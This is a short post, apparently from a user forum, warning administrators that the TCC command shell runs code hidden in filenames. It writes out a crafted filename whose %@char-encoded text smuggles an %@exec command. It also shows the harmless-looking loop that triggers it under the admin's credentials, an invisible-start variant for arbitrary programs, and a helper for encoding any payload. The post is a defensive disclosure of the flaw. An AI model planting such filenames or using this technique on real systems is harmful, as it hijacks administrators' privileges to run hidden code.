ADVICE 1: If you are your company's admin, don't use TCC for manipulating files (like copying, moving,etc)
Any other advices what I should do in order not to get disappointed?
If I were an evil employee and I knew my admins were using TCC, I would create a file like this:
echo. > dummy%%@exec[dir%%@char%%@chars%%@charC%%@char%%@char].txt
Yes, thats a valid filename ;-) Expanded, this translates to: "dummy%@exec[dir /s c:\].txt" )
Now, if you, as an admin, do a simple, innocent command like this:
for %x in (dummy*) DO set TEST="%x"
It will execute the DIR /s command on *your* computer, using *your* credentials.
Of course, now this evil employee is going to use this for much worse evil purposes: %@execstr[start /invisible zzz]
Where zzz can be a command, a BTM script, an executable, or whatever he can come up with.
If you try to prevent this from happening, you have to dismantle large parts of TCC, leaving you effectively with CMD.exe
This method works because there is no clear separation between commands (internal commands, functions, aliases, ..) and data (filenames, textstrings, filecontent, ...)
NB: If you want to try for yourself, you can create the %@char strings (in this case for "THIS IS A TEST") with:
for %x in (%@ascii[THIS IS A TEST]) Do echos %%@char[%x]